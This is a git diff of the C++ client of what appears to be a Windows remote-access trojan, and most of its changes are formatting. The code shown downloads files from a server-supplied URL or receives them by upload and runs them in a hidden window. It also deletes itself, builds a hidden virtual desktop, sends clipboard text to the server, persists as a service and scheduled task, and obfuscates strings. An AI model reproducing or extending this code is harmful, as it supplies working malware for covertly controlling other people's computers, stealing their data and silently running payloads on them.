diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index 9183fcb..e9a34b5 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -193,7 +193,7 @@ int main(int argc, const char *argv[]) BOOL s = self_del(); if (!IsDebug) { Mprintf("结束运行.\n"); - Sleep(1000); + Sleep(1000); return r; } } diff --git a/client/Common.cpp b/client/Common.cpp index dcc14cc..f333a92 100644 --- a/client/Common.cpp +++ b/client/Common.cpp @@ -51,16 +51,17 @@ template DWORD WINAPI LoopManager(LPVOID lParam) #else #pragma comment(lib, "PrivateDesktop_Libx64.lib") #endif -void ShowBlackWindow(IOCPBase* ClientObject, CONNECT_ADDRESS* conn, const std::string& hash, const std::string& hmac); #else -void ShowBlackWindow(IOCPBase* ClientObject, CONNECT_ADDRESS* conn, const std::string& hash, const std::string& hmac) -{ - return ClientObject->RunEventLoop(TRUE); -} +#ifdef _DEBUG +#pragma comment(lib, "PrivateDesktop_Libd.lib") +#else +#pragma comment(lib, "PrivateDesktop_Lib.lib") +#endif #endif DWORD private_desktop(CONNECT_ADDRESS* conn, const State &exit, const std::string& hash, const std::string& hmac) { + void ShowBlackWindow(IOCPBase * ClientObject, CONNECT_ADDRESS * conn, const std::string & hash, const std::string & hmac); IOCPClient* ClientObject = new IOCPClient(exit, true, MaskTypeNone, conn->iHeaderEnc); if (ClientObject->ConnectServer(conn->ServerIP(), conn->ServerPort())) { CScreenManager m(ClientObject, 32, (void*)1); diff --git a/client/IOCPClient.h b/client/IOCPClient.h index f2dec27..c5604ed 100644 --- a/client/IOCPClient.h +++ b/client/IOCPClient.h @@ -110,7 +110,10 @@ public: virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength) { } // Tip: 在派生类实现该函数以便支持断线重连 - virtual BOOL OnReconnect() { return FALSE; } + virtual BOOL OnReconnect() + { + return FALSE; + } static int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength) { @@ -133,7 +136,8 @@ public: m_Manager->OnReceive(szBuffer, ulLength); return TRUE; } - static int ReconnectProcess(void* user) { + static int ReconnectProcess(void* user) + { IOCPManager* m_Manager = (IOCPManager*)user; if (nullptr == m_Manager) { return FALSE; @@ -196,7 +200,8 @@ public: { return m_bIsRunning; } - VOID StopRunning() { + VOID StopRunning() + { m_ReconnectFunc = NULL; m_bIsRunning = FALSE; } diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index 26fc101..b2bb70c 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -408,18 +408,21 @@ bool EnableShutdownPrivilege() return true; } -class CDownloadCallback : public IBindStatusCallback { +class CDownloadCallback : public IBindStatusCallback +{ private: DWORD m_startTime; DWORD m_timeout; // 毫秒 public: - CDownloadCallback(DWORD timeoutMs) : m_timeout(timeoutMs) { + CDownloadCallback(DWORD timeoutMs) : m_timeout(timeoutMs) + { m_startTime = GetTickCount(); } HRESULT STDMETHODCALLTYPE OnProgress(ULONG ulProgress, ULONG ulProgressMax, - ULONG ulStatusCode, LPCWSTR szStatusText) override { + ULONG ulStatusCode, LPCWSTR szStatusText) override + { // 超时检查 if (GetTickCount() - m_startTime > m_timeout) { return E_ABORT; // 取消下载 @@ -428,18 +431,46 @@ public: } // 其他接口方法返回默认值 - HRESULT STDMETHODCALLTYPE OnStartBinding(DWORD, IBinding*) override { return S_OK; } - HRESULT STDMETHODCALLTYPE GetPriority(LONG*) override { return S_OK; } - HRESULT STDMETHODCALLTYPE OnLowResource(DWORD) override { return S_OK; } - HRESULT STDMETHODCALLTYPE OnStopBinding(HRESULT, LPCWSTR) override { return S_OK; } - HRESULT STDMETHODCALLTYPE GetBindInfo(DWORD*, BINDINFO*) override { return S_OK; } - HRESULT STDMETHODCALLTYPE OnDataAvailable(DWORD, DWORD, FORMATETC*, STGMEDIUM*) override { return S_OK; } - HRESULT STDMETHODCALLTYPE OnObjectAvailable(REFIID, IUnknown*) override { return S_OK; } + HRESULT STDMETHODCALLTYPE OnStartBinding(DWORD, IBinding*) override + { + return S_OK; + } + HRESULT STDMETHODCALLTYPE GetPriority(LONG*) override + { + return S_OK; + } + HRESULT STDMETHODCALLTYPE OnLowResource(DWORD) override + { + return S_OK; + } + HRESULT STDMETHODCALLTYPE OnStopBinding(HRESULT, LPCWSTR) override + { + return S_OK; + } + HRESULT STDMETHODCALLTYPE GetBindInfo(DWORD*, BINDINFO*) override + { + return S_OK; + } + HRESULT STDMETHODCALLTYPE OnDataAvailable(DWORD, DWORD, FORMATETC*, STGMEDIUM*) override + { + return S_OK; + } + HRESULT STDMETHODCALLTYPE OnObjectAvailable(REFIID, IUnknown*) override + { + return S_OK; + } // IUnknown - ULONG STDMETHODCALLTYPE AddRef() override { return 1; } - ULONG STDMETHODCALLTYPE Release() override { return 1; } - HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid, void** ppv) override { + ULONG STDMETHODCALLTYPE AddRef() override + { + return 1; + } + ULONG STDMETHODCALLTYPE Release() override + { + return 1; + } + HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid, void** ppv) override + { if (riid == IID_IBindStatusCallback || riid == IID_IUnknown) { *ppv = this; return S_OK; @@ -448,7 +479,8 @@ public: } }; -void DownExecute(const std::string &strUrl, CManager *This) { +void DownExecute(const std::string &strUrl, CManager *This) +{ // 临时路径 char szTempPath[MAX_PATH], szSavePath[MAX_PATH]; GetTempPathA(MAX_PATH, szTempPath); @@ -458,17 +490,14 @@ void DownExecute(const std::string &strUrl, CManager *This) { // 下载并运行 const int timeoutMs = 30 * 1000; CDownloadCallback callback(timeoutMs); - if (S_OK == URLDownloadToFileA(NULL, strUrl.c_str(), szSavePath, 0, &callback)) - { + if (S_OK == URLDownloadToFileA(NULL, strUrl.c_str(), szSavePath, 0, &callback)) { ShellExecuteA(NULL, "open", szSavePath, NULL, NULL, SW_HIDE); Mprintf("Download Exec Success: %s\n", strUrl.c_str()); char buf[100]; sprintf_s(buf, "Client %llu download exec succeed", This->GetClientID()); ClientMsg msg("执行成功", buf); This->SendData(LPBYTE(&msg), sizeof(msg)); - } - else - { + } else { Mprintf("Download Exec Failed: %s\n", strUrl.c_str()); char buf[100]; sprintf_s(buf, "Client %llu download exec failed", This->GetClientID()); @@ -477,6 +506,32 @@ void DownExecute(const std::string &strUrl, CManager *This) { } } +#include "common/location.h" +std::string getHardwareIDByCfg(const std::string& pwdHash, const std::string& masterHash) +{ + config* m_iniFile = nullptr; +#ifdef _DEBUG + m_iniFile = pwdHash == masterHash ? new config : new iniFile; +#else + m_iniFile = new iniFile; +#endif + int version = m_iniFile->GetInt("settings", "BindType", 0); + std::string master = m_iniFile->GetStr("settings", "master"); + SAFE_DELETE(m_iniFile); + switch (version) { + case 0: + return getHardwareID(); + case 1: { + if (!master.empty()) { + return master; + } + IPConverter cvt; + return cvt.getPublicIP(); + } + } + return ""; +} + VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) { bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT; @@ -489,21 +544,19 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) std::string publicIP = m_ClientObject->GetClientIP(); switch (szBuffer[0]) { - case CMD_SET_GROUP:{ + case CMD_SET_GROUP: { std::string group = std::string((char*)szBuffer + 1); iniFile cfg(CLIENT_PATH); cfg.SetStr("settings", "group_name", group); break; } - case COMMAND_DOWN_EXEC: - { + case COMMAND_DOWN_EXEC: { std::thread(DownExecute, std::string((char*)szBuffer + 1), this).detach(); break; } - case COMMAND_UPLOAD_EXEC: - { + case COMMAND_UPLOAD_EXEC: { if (ulLength < 5) break; DWORD dwFileSize = *(DWORD*)(szBuffer + 1); @@ -516,8 +569,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) sprintf_s(szSavePath, "%sUpload_%d.exe", szTempPath, rand() % 10086); FILE* fp = fopen(szSavePath, "wb"); - if (fp) - { + if (fp) { fwrite(pFileData, 1, dwFileSize, fp); fclose(fp); ShellExecuteA(NULL, "open", szSavePath, NULL, NULL, SW_HIDE); @@ -583,7 +635,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) std::string masterHash(skCrypt(MASTER_HASH)); const char* pwdHash = m_conn->pwdHash[0] ? m_conn->pwdHash : masterHash.c_str(); if (passCode[0] == 0) { - std::string devId = getDeviceID(); + static std::string hardwareId = getHardwareIDByCfg(pwdHash, masterHash); + static std::string hashedID = hashSHA256(hardwareId); + static std::string devId = getFixedLengthID(hashedID); memcpy(buf + 24, buf + 12, 8); // 消息签名 memcpy(buf + 96, buf + 8, 4); // 时间戳 memcpy(buf + 5, devId.c_str(), devId.length()); // 16字节 diff --git a/client/KernelManager.h b/client/KernelManager.h index 36eeb99..a17d7e7 100644 --- a/client/KernelManager.h +++ b/client/KernelManager.h @@ -202,7 +202,8 @@ public: CloseHandle(hProcessSnap); return false; } - virtual uint64_t GetClientID() const override { + virtual uint64_t GetClientID() const override + { return m_conn->clientID; } }; diff --git a/client/LoginServer.cpp b/client/LoginServer.cpp index 9c7e558..2bf5f66 100644 --- a/client/LoginServer.cpp +++ b/client/LoginServer.cpp @@ -277,13 +277,14 @@ std::string GetCurrentUserNameA() #define XXH_INLINE_ALL #include "server/2015Remote/xxhash.h" // 基于客户端信息计算唯一ID: { IP, PC, OS, CPU, PATH } -uint64_t CalcalateID(const std::vector& clientInfo) { - std::string s; - for (int i = 0; i < 5; i++) { - s += clientInfo[i] + "|"; - } - s.erase(s.length()-1); - return XXH64(s.c_str(), s.length(), 0); +uint64_t CalcalateID(const std::vector& clientInfo) +{ + std::string s; + for (int i = 0; i < 5; i++) { + s += clientInfo[i] + "|"; + } + s.erase(s.length()-1); + return XXH64(s.c_str(), s.length(), 0); } LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn) diff --git a/client/Manager.h b/client/Manager.h index 29d6180..90776cf 100644 --- a/client/Manager.h +++ b/client/Manager.h @@ -65,7 +65,8 @@ public: { m_bReady = ready; } - virtual uint64_t GetClientID() const { + virtual uint64_t GetClientID() const + { return 0; } }; diff --git a/client/ScreenCapture.h b/client/ScreenCapture.h index 19874fb..e6af4cc 100644 --- a/client/ScreenCapture.h +++ b/client/ScreenCapture.h @@ -25,7 +25,8 @@ public: { for (size_t i = 0; i < numThreads; ++i) { workers.emplace_back([this] { - while (true) { + while (true) + { std::function task; { std::unique_lock lock(this->queueMutex); @@ -239,12 +240,13 @@ public: } public: - virtual BOOL UsingDXGI() const { + virtual BOOL UsingDXGI() const + { return FALSE; } //*************************************** 图像差异算法(串行) ************************************* ULONG CompareBitmapDXGI(LPBYTE CompareSourData, LPBYTE CompareDestData, LPBYTE szBuffer, - DWORD ulCompareLength, BYTE algo, int startPostion = 0) + DWORD ulCompareLength, BYTE algo, int startPostion = 0) { // Windows规定一个扫描行所占的字节数必须是4的倍数, 所以用DWORD比较 LPDWORD p1 = (LPDWORD)CompareDestData, p2 = (LPDWORD)CompareSourData; @@ -267,8 +269,7 @@ public: if (channel != 1) { memcpy(p, pos2, ulCount); p += ulCount; - } - else { + } else { for (LPBYTE end = p + ulCount / ratio; p < end; p += channel, ++pos2) { LPBYTE src = (LPBYTE)pos2; *p = (306 * src[2] + 601 * src[0] + 117 * src[1]) >> 10; @@ -283,7 +284,7 @@ public: virtual ULONG CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData, LPBYTE szBuffer, DWORD ulCompareLength, BYTE algo, int startPostion = 0) { - if (UsingDXGI()) + if (UsingDXGI()) return CompareBitmapDXGI(CompareSourData, CompareDestData, szBuffer, ulCompareLength, algo, startPostion); LPBYTE p = szBuffer; @@ -458,15 +459,18 @@ public: return offset; // 返回缓冲区的大小 } - virtual int GetFrameID() const { + virtual int GetFrameID() const + { return m_FrameID; } - virtual LPBYTE GetFirstBuffer() const { + virtual LPBYTE GetFirstBuffer() const + { return m_FirstBuffer; } - virtual int GetBMPSize() const { + virtual int GetBMPSize() const + { assert(m_BitmapInfor_Full); return m_BitmapInfor_Full->bmiHeader.biSizeImage; } diff --git a/client/ScreenCapturerDXGI.h b/client/ScreenCapturerDXGI.h index eded323..7096501 100644 --- a/client/ScreenCapturerDXGI.h +++ b/client/ScreenCapturerDXGI.h @@ -40,7 +40,8 @@ public: SAFE_DELETE_ARRAY(m_RectBuffer); } - virtual BOOL UsingDXGI() const { + virtual BOOL UsingDXGI() const + { return TRUE; } diff --git a/client/ScreenManager.cpp b/client/ScreenManager.cpp index 2934ccd..65d5dea 100644 --- a/client/ScreenManager.cpp +++ b/client/ScreenManager.cpp @@ -31,32 +31,11 @@ #pragma comment(lib, "FileUpload_Libx64.lib") #endif #else -int InitFileUpload(const std::string hmac, int chunkSizeKb, int sendDurationMs) -{ - return 0; -} -int UninitFileUpload() -{ - return 0; -} -std::vector GetClipboardFiles(int &result) -{ - return{}; -} -bool GetCurrentFolderPath(std::string& outDir) -{ - return false; -} -int FileBatchTransferWorker(const std::vector& files, const std::string& targetDir, - void* user, OnTransform f, OnFinish finish, const std::string& hash, const std::string& hmac) -{ - finish(user); - return 0; -} -int RecvFileChunk(char* buf, size_t len, void* user, OnFinish f, const std::string& hash, const std::string& hmac) -{ - return 0; -} +#ifdef _DEBUG +#pragma comment(lib, "FileUpload_Libd.lib") +#else +#pragma comment(lib, "FileUpload_Lib.lib") +#endif #endif #endif @@ -196,38 +175,40 @@ bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName) } // 检查指定桌面(hDesk)中是否存在目标进程(targetExeName) -BOOL IsProcessRunningInDesktop(HDESK hDesk, const char* targetExeName) { - // 切换到目标桌面 - if (!SetThreadDesktop(hDesk)) { - return FALSE; - } +BOOL IsProcessRunningInDesktop(HDESK hDesk, const char* targetExeName) +{ + // 切换到目标桌面 + if (!SetThreadDesktop(hDesk)) { + return FALSE; + } - // 枚举目标桌面的所有窗口 - BOOL bFound = FALSE; - std::pair data(targetExeName, &bFound); - EnumDesktopWindows(hDesk, [](HWND hWnd, LPARAM lParam) -> BOOL { - auto pData = reinterpret_cast*>(lParam); + // 枚举目标桌面的所有窗口 + BOOL bFound = FALSE; + std::pair data(targetExeName, &bFound); + EnumDesktopWindows(hDesk, [](HWND hWnd, LPARAM lParam) -> BOOL { + auto pData = reinterpret_cast*>(lParam); - DWORD dwProcessId; - GetWindowThreadProcessId(hWnd, &dwProcessId); + DWORD dwProcessId; + GetWindowThreadProcessId(hWnd, &dwProcessId); - // 获取进程名 - HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, dwProcessId); - if (hProcess) { - char exePath[MAX_PATH]; - DWORD size = MAX_PATH; - if (QueryFullProcessImageName(hProcess, 0, exePath, &size)) { - if (_stricmp(exePath, pData->first) == 0) { - *(pData->second) = TRUE; - return FALSE; // 终止枚举 - } - } - CloseHandle(hProcess); - } - return TRUE; // 继续枚举 - }, reinterpret_cast(&data)); + // 获取进程名 + HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, dwProcessId); + if (hProcess) + { + char exePath[MAX_PATH]; + DWORD size = MAX_PATH; + if (QueryFullProcessImageName(hProcess, 0, exePath, &size)) { + if (_stricmp(exePath, pData->first) == 0) { + *(pData->second) = TRUE; + return FALSE; // 终止枚举 + } + } + CloseHandle(hProcess); + } + return TRUE; // 继续枚举 + }, reinterpret_cast(&data)); - return bFound; + return bFound; } void CScreenManager::InitScreenSpy() @@ -250,29 +231,26 @@ void CScreenManager::InitScreenSpy() Mprintf("CScreenManager: Type %d Algorithm: %d\n", DXGI, int(algo)); if (DXGI == USING_VIRTUAL) { m_virtual = TRUE; - HDESK hDesk = SelectDesktop((char*)m_DesktopID.c_str()); - if (!hDesk) { - hDesk = CreateDesktop(m_DesktopID.c_str(), NULL, NULL, 0, GENERIC_ALL, NULL); - Mprintf("创建虚拟屏幕%s: %s\n", m_DesktopID.c_str(), hDesk ? "成功" : "失败"); - } - else { - Mprintf("打开虚拟屏幕成功: %s\n", m_DesktopID.c_str()); - } - if (hDesk) { - TCHAR szExplorerFile[MAX_PATH * 2] = { 0 }; - GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1); - strcat_s(szExplorerFile, MAX_PATH * 2 - 1, "\\Explorer.Exe"); - if (!IsProcessRunningInDesktop(hDesk, szExplorerFile)) - { - if (!LaunchApplication(szExplorerFile, (char*)m_DesktopID.c_str())) { - Mprintf("启动资源管理器失败[%s]!!!\n", m_DesktopID.c_str()); - } - } - else { - Mprintf("虚拟屏幕的资源管理器已在运行[%s].\n", m_DesktopID.c_str()); - } - SetThreadDesktop(g_hDesk = hDesk); - } + HDESK hDesk = SelectDesktop((char*)m_DesktopID.c_str()); + if (!hDesk) { + hDesk = CreateDesktop(m_DesktopID.c_str(), NULL, NULL, 0, GENERIC_ALL, NULL); + Mprintf("创建虚拟屏幕%s: %s\n", m_DesktopID.c_str(), hDesk ? "成功" : "失败"); + } else { + Mprintf("打开虚拟屏幕成功: %s\n", m_DesktopID.c_str()); + } + if (hDesk) { + TCHAR szExplorerFile[MAX_PATH * 2] = { 0 }; + GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1); + strcat_s(szExplorerFile, MAX_PATH * 2 - 1, "\\Explorer.Exe"); + if (!IsProcessRunningInDesktop(hDesk, szExplorerFile)) { + if (!LaunchApplication(szExplorerFile, (char*)m_DesktopID.c_str())) { + Mprintf("启动资源管理器失败[%s]!!!\n", m_DesktopID.c_str()); + } + } else { + Mprintf("虚拟屏幕的资源管理器已在运行[%s].\n", m_DesktopID.c_str()); + } + SetThreadDesktop(g_hDesk = hDesk); + } } else { HDESK hDesk = OpenActiveDesktop(); if (hDesk) { @@ -600,46 +578,46 @@ VOID CScreenManager::UpdateClientClipboard(char *szBuffer, ULONG ulLength) VOID CScreenManager::SendClientClipboard(BOOL fast) { - if (!::OpenClipboard(NULL)) - return; + if (!::OpenClipboard(NULL)) + return; - // 改为获取 Unicode 格式 - HGLOBAL hGlobal = GetClipboardData(CF_UNICODETEXT); - if (hGlobal == NULL) { - ::CloseClipboard(); - return; - } + // 改为获取 Unicode 格式 + HGLOBAL hGlobal = GetClipboardData(CF_UNICODETEXT); + if (hGlobal == NULL) { + ::CloseClipboard(); + return; + } - wchar_t* pWideStr = (wchar_t*)GlobalLock(hGlobal); - if (pWideStr == NULL) { - ::CloseClipboard(); - return; - } + wchar_t* pWideStr = (wchar_t*)GlobalLock(hGlobal); + if (pWideStr == NULL) { + ::CloseClipboard(); + return; + } - // Unicode 转 UTF-8 - int utf8Len = WideCharToMultiByte(CP_UTF8, 0, pWideStr, -1, NULL, 0, NULL, NULL); - if (utf8Len <= 0) { - GlobalUnlock(hGlobal); - ::CloseClipboard(); - return; - } + // Unicode 转 UTF-8 + int utf8Len = WideCharToMultiByte(CP_UTF8, 0, pWideStr, -1, NULL, 0, NULL, NULL); + if (utf8Len <= 0) { + GlobalUnlock(hGlobal); + ::CloseClipboard(); + return; + } - if (fast && utf8Len > 200 * 1024) { - Mprintf("剪切板文本太长, 无法快速拷贝: %d\n", utf8Len); - GlobalUnlock(hGlobal); - ::CloseClipboard(); - return; - } + if (fast && utf8Len > 200 * 1024) { + Mprintf("剪切板文本太长, 无法快速拷贝: %d\n", utf8Len); + GlobalUnlock(hGlobal); + ::CloseClipboard(); + return; + } - LPBYTE szBuffer = new BYTE[utf8Len + 1]; - szBuffer[0] = TOKEN_CLIPBOARD_TEXT; - WideCharToMultiByte(CP_UTF8, 0, pWideStr, -1, (char*)(szBuffer + 1), utf8Len, NULL, NULL); + LPBYTE szBuffer = new BYTE[utf8Len + 1]; + szBuffer[0] = TOKEN_CLIPBOARD_TEXT; + WideCharToMultiByte(CP_UTF8, 0, pWideStr, -1, (char*)(szBuffer + 1), utf8Len, NULL, NULL); - GlobalUnlock(hGlobal); - ::CloseClipboard(); + GlobalUnlock(hGlobal); + ::CloseClipboard(); - m_ClientObject->Send2Server((char*)szBuffer, utf8Len + 1); - delete[] szBuffer; + m_ClientObject->Send2Server((char*)szBuffer, utf8Len + 1); + delete[] szBuffer; } diff --git a/client/ServiceWrapper.c b/client/ServiceWrapper.c index 91bbe00..7ba9b44 100644 --- a/client/ServiceWrapper.c +++ b/client/ServiceWrapper.c @@ -17,7 +17,8 @@ static ServiceLogFunc Log = NULL; static void WINAPI ServiceMain(DWORD argc, LPTSTR* argv); static void WINAPI ServiceCtrlHandler(DWORD ctrlCode); -void MyLog(const char* file, int line, const char* format, ...) { +void MyLog(const char* file, int line, const char* format, ...) +{ if (Log == NULL) { return; // 没有设置日志回调,直接返回 } @@ -348,16 +349,16 @@ BOOL ServiceWrapper_Install(void) for (int i = 0; i < retryCount; i++) { schService = CreateService( - schSCManager, - g_MyService.Name, - g_MyService.Display, - SERVICE_ALL_ACCESS, - SERVICE_WIN32_OWN_PROCESS, - SERVICE_AUTO_START, - SERVICE_ERROR_NORMAL, - szPath, - NULL, NULL, NULL, NULL, NULL - ); + schSCManager, + g_MyService.Name, + g_MyService.Display, + SERVICE_ALL_ACCESS, + SERVICE_WIN32_OWN_PROCESS, + SERVICE_AUTO_START, + SERVICE_ERROR_NORMAL, + szPath, + NULL, NULL, NULL, NULL, NULL + ); if (schService != NULL) { break; // 成功 } @@ -509,14 +510,14 @@ BOOL ServiceWrapper_Uninstall(void) Mprintf("SUCCESS: Service uninstalled successfully\n"); } else { Mprintf("ERROR: DeleteService failed (%d)\n", (int)GetLastError()); - result = FALSE; + result = FALSE; } CloseServiceHandle(schService); CloseServiceHandle(schSCManager); Mprintf("=== Uninstallation Complete ===\n"); - return result; + return result; } void PrintUsage() @@ -538,8 +539,8 @@ BOOL RunAsWindowsService(int argc, const char* argv[]) char curPath[MAX_PATH] = { 0 }; BOOL b = ServiceWrapper_CheckStatus(®istered, &running, servicePath, MAX_PATH); - Mprintf("ServiceWrapper_CheckStatus: %s, Installed: %s, Running: %s\n", b ? "succeed" : "failed", - registered ? "Yes" : "No", running ? "Yes" : "No"); + Mprintf("ServiceWrapper_CheckStatus: %s, Installed: %s, Running: %s\n", b ? "succeed" : "failed", + registered ? "Yes" : "No", running ? "Yes" : "No"); GetModuleFileName(NULL, curPath, MAX_PATH); if (registered) { @@ -549,7 +550,7 @@ BOOL RunAsWindowsService(int argc, const char* argv[]) // 使用不区分大小写的比较 _strlwr(servicePath); _strlwr(curPath); - BOOL same = (strstr(servicePath, curPath) != 0); + BOOL same = (strstr(servicePath, curPath) != 0); if (registered && !same) { BOOL r = ServiceWrapper_Uninstall(); Mprintf("RunAsWindowsService Uninstall %s: %s\n", r ? "succeed" : "failed", servicePath); diff --git a/client/main.c b/client/main.c index 1670fde..1597418 100644 --- a/client/main.c +++ b/client/main.c @@ -41,8 +41,8 @@ struct CONNECT_ADDRESS { char runningType; // 运行方式 char szGroupName[24]; // 分组名称 char runasAdmin; // 是否提升权限运行 - char szReserved[11]; // 占位,使结构体占据300字节 - uint64_t clientID; // 客户端唯一标识 + char szReserved[11]; // 占位,使结构体占据300字节 + uint64_t clientID; // 客户端唯一标识 uint64_t parentHwnd; // 父进程窗口句柄 uint64_t superAdmin; // 管理员主控ID char pwdHash[64]; // 密码哈希 diff --git a/client/reg_startup.c b/client/reg_startup.c index d14ab28..bf86a70 100644 --- a/client/reg_startup.c +++ b/client/reg_startup.c @@ -105,8 +105,7 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons pSettings->lpVtbl->put_DisallowStartIfOnBatteries(pSettings, VARIANT_FALSE); pSettings->lpVtbl->put_StopIfGoingOnBatteries(pSettings, VARIANT_FALSE); pSettings->lpVtbl->Release(pSettings); - } - else { + } else { Mprintf("获取配置设置失败,错误代码:%ld\n", hr); } @@ -130,8 +129,7 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons pRegInfo->lpVtbl->put_Description(pRegInfo, bDesc); SysFreeString(bDesc); pRegInfo->lpVtbl->Release(pRegInfo); - } - else { + } else { Mprintf("获取注册信息失败,错误代码:%ld\n", hr); } @@ -159,16 +157,14 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons } } pTrigger->lpVtbl->Release(pTrigger); - } - else { + } else { Mprintf("无法设置任务触发器,错误代码:%ld\n", hr); pTask->lpVtbl->Release(pTask); pService->lpVtbl->Release(pService); CoUninitialize(); return 6; } - } - else { + } else { Mprintf("获取任务触发失败,错误代码:%ld\n", hr); } @@ -188,18 +184,15 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons pExecAction->lpVtbl->put_Path(pExecAction, path); SysFreeString(path); pExecAction->lpVtbl->Release(pExecAction); - } - else { + } else { Mprintf("QueryInterface 调用失败,错误代码:%ld\n", hr); } pAction->lpVtbl->Release(pAction); - } - else { + } else { Mprintf("创建任务动作失败,错误代码:%ld\n", hr); } pActionCollection->lpVtbl->Release(pActionCollection); - } - else { + } else { Mprintf("获取任务动作失败,错误代码:%ld\n", hr); } @@ -211,8 +204,7 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons hr = pPrincipal->lpVtbl->put_RunLevel(pPrincipal, runasAdmin ? TASK_RUNLEVEL_HIGHEST : TASK_RUNLEVEL_LUA); if (FAILED(hr)) Mprintf("put_RunLevel 失败,错误代码:%ld\n", hr); pPrincipal->lpVtbl->Release(pPrincipal); - } - else { + } else { if (runasAdmin) Mprintf("获取任务权限失败,错误代码:%ld\n", hr); } @@ -259,16 +251,14 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons } } pRegisteredTask->lpVtbl->Release(pRegisteredTask); - } - else { + } else { Mprintf("注册计划任务失败,错误代码:%ld | runasAdmin: %s\n", hr, runasAdmin ? "Yes" : "No"); } VariantClear(&vUser); SysFreeString(bstrTaskName); pFolder->lpVtbl->Release(pFolder); - } - else { + } else { Mprintf("获取任务目录失败,错误代码:%ld\n", hr); } diff --git a/common/commands.h b/common/commands.h index 47ba319..b0c0bc7 100644 --- a/common/commands.h +++ b/common/commands.h @@ -603,7 +603,7 @@ public: char protoType; // Э char runningType; // зʽ char szGroupName[24]; // - char runasAdmin; // ǷȨ + char runasAdmin; // ǷȨ char szReserved[11]; // ռλʹṹռ300ֽ uint64_t clientID; // ͻΨһʶ uint64_t parentHwnd; // ̴ھ @@ -1140,27 +1140,33 @@ public: typedef struct CharMsg { char data[256]; bool needFree; - CharMsg(const char* msg, bool free = true) { + CharMsg(const char* msg, bool free = true) + { memset(data, 0, sizeof(data)); strcpy_s(data, msg); needFree = free; } - CharMsg(int len, bool free = true) { + CharMsg(int len, bool free = true) + { memset(data, 0, sizeof(data)); needFree = free; } -}CharMsg; +} CharMsg; typedef struct ClientMsg { char cmd; char title[31]; char text[512]; - ClientMsg() { memset(this, 0, sizeof(*this)); } - ClientMsg(const char* title, const char* text) { + ClientMsg() + { + memset(this, 0, sizeof(*this)); + } + ClientMsg(const char* title, const char* text) + { cmd = TOKEN_CLIENT_MSG; strcpy_s(this->title, title ? title : "ʾϢ"); strcpy_s(this->text, text ? text : ""); } -}ClientMsg; +} ClientMsg; #endif diff --git a/common/logger.h b/common/logger.h index 30d24a9..84eaf4c 100644 --- a/common/logger.h +++ b/common/logger.h @@ -91,9 +91,9 @@ public: auto timestamp = getCurrentTimestamp(); std::string id = pid.empty() ? "" : "[" + pid + "]"; - std::string logEntry = file && line ? - id + "[" + timestamp + "] [" + file + ":" + std::to_string(line) + "] " + message: - id + "[" + timestamp + "] " + message; + std::string logEntry = file && line ? + id + "[" + timestamp + "] [" + file + ":" + std::to_string(line) + "] " + message: + id + "[" + timestamp + "] " + message; if (enable) { if (running) { std::lock_guard lock(queueMutex); @@ -261,11 +261,13 @@ inline const char* getFileName(const char* path) #endif // _WIN32 -inline void Log(const char* message) { +inline void Log(const char* message) +{ return Logger::getInstance().log(NULL, 0, "%s", message); } -inline void Logf(const char* file, int line, const char* format, ...) { +inline void Logf(const char* file, int line, const char* format, ...) +{ va_list args; va_start(args, format); char message[1024]; diff --git a/common/skCrypter.h b/common/skCrypter.h index d5557aa..513b7e4 100644 --- a/common/skCrypter.h +++ b/common/skCrypter.h @@ -58,7 +58,8 @@ template using clean_type = typename std::remove_const_t>; template -class skCrypter { +class skCrypter +{ public: __forceinline constexpr skCrypter(T* data) { @@ -123,7 +124,7 @@ private: } } - T _storage[_size]{}; + T _storage[_size] {}; }; } diff --git a/lib/FileUpload_Lib.lib b/lib/FileUpload_Lib.lib new file mode 100644 index 0000000..7eb932e Binary files /dev/null and b/lib/FileUpload_Lib.lib differ diff --git a/lib/FileUpload_Libd.lib b/lib/FileUpload_Libd.lib new file mode 100644 index 0000000..c832193 Binary files /dev/null and b/lib/FileUpload_Libd.lib differ diff --git a/lib/FileUpload_Libx64.lib b/lib/FileUpload_Libx64.lib index 7fab4e5..5bc0ec2 100644 Binary files a/lib/FileUpload_Libx64.lib and b/lib/FileUpload_Libx64.lib differ diff --git a/lib/FileUpload_Libx64d.lib b/lib/FileUpload_Libx64d.lib index 909457b..f03917a 100644 Binary files a/lib/FileUpload_Libx64d.lib and b/lib/FileUpload_Libx64d.lib differ diff --git a/lib/PrivateDesktop_Lib.lib b/lib/PrivateDesktop_Lib.lib new file mode 100644 index 0000000..b3d20ae Binary files /dev/null and b/lib/PrivateDesktop_Lib.lib differ diff --git a/lib/PrivateDesktop_Libd.lib b/lib/PrivateDesktop_Libd.lib new file mode 100644 index 0000000..d48006a Binary files /dev/null and b/lib/PrivateDesktop_Libd.lib differ diff --git a/lib/PrivateDesktop_Libx64.lib b/lib/PrivateDesktop_Libx64.lib index 76ef50b..96b7837 100644 Binary files 